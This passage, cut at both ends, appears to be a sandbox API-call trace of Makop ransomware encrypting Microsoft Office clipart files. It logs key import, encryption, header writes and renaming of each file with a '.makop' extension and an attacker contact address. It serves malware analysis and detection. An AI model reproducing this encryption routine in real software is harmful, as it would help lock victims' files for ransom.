office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.753] CloseHandle (hObject=0xf0) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d55d00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0d55d00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x1a7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01069_.WMF", cAlternateFileName="")) returned 1 [0139.753] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 63 [0139.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.754] GetProcessHeap () returned 0x48a0000 [0139.755] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.755] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.755] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0139.760] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.760] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.760] GetProcessHeap () returned 0x48a0000 [0139.760] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.760] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.760] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.760] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.761] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.761] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.761] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.762] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.762] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a7e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a7e, lpOverlapped=0x0) returned 1 [0139.765] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a80, dwBufLen=0x1a80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a80) returned 1 [0139.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.766] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a80, lpOverlapped=0x0) returned 1 [0139.766] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.766] SetEndOfFile (hFile=0xf0) returned 1 [0139.773] GetProcessHeap () returned 0x48a0000 [0139.773] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.773] GetProcessHeap () returned 0x48a0000 [0139.773] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.773] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.775] CloseHandle (hObject=0xf0) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19e000, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe19e000, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01123_.WMF", cAlternateFileName="")) returned 1 [0139.776] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 63 [0139.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.777] GetProcessHeap () returned 0x48a0000 [0139.777] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.777] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.777] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.777] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.777] GetProcessHeap () returned 0x48a0000 [0139.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.778] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.778] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.778] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.783] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.783] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.783] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e00, lpOverlapped=0x0) returned 1 [0139.785] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e00) returned 1 [0139.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.785] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e00, lpOverlapped=0x0) returned 1 [0139.785] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.786] SetEndOfFile (hFile=0xf0) returned 1 [0139.792] GetProcessHeap () returned 0x48a0000 [0139.792] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.792] GetProcessHeap () returned 0x48a0000 [0139.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.793] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.794] CloseHandle (hObject=0xf0) returned 1 [0139.794] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23d3100, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe23d3100, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01126_.WMF", cAlternateFileName="")) returned 1 [0139.794] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 63 [0139.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.796] GetProcessHeap () returned 0x48a0000 [0139.796] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.796] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.796] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.796] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.796] GetProcessHeap () returned 0x48a0000 [0139.796] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.796] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.796] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.796] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.801] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.801] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.801] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.801] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb70, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb70, lpOverlapped=0x0) returned 1 [0139.801] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb70, dwBufLen=0xb70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb70) returned 1 [0139.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.802] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb70, lpOverlapped=0x0) returned 1 [0139.802] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.802] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.802] SetEndOfFile (hFile=0xf0) returned 1 [0139.809] GetProcessHeap () returned 0x48a0000 [0139.809] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.809] GetProcessHeap () returned 0x48a0000 [0139.809] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.809] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.819] CloseHandle (hObject=0xf0) returned 1 [0139.819] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94292d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94292d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x16a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01130_.WMF", cAlternateFileName="")) returned 1 [0139.819] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 63 [0139.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.821] GetProcessHeap () returned 0x48a0000 [0139.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.821] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.821] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.821] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.821] GetProcessHeap () returned 0x48a0000 [0139.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.821] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.821] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.826] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.826] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.827] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.827] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.827] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.827] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16a0, lpOverlapped=0x0) returned 1 [0139.829] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16a0, dwBufLen=0x16a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16a0) returned 1 [0139.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.829] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16a0, lpOverlapped=0x0) returned 1 [0139.829] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.829] SetEndOfFile (hFile=0xf0) returned 1 [0139.837] GetProcessHeap () returned 0x48a0000 [0139.837] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.837] GetProcessHeap () returned 0x48a0000 [0139.837] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.837] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), 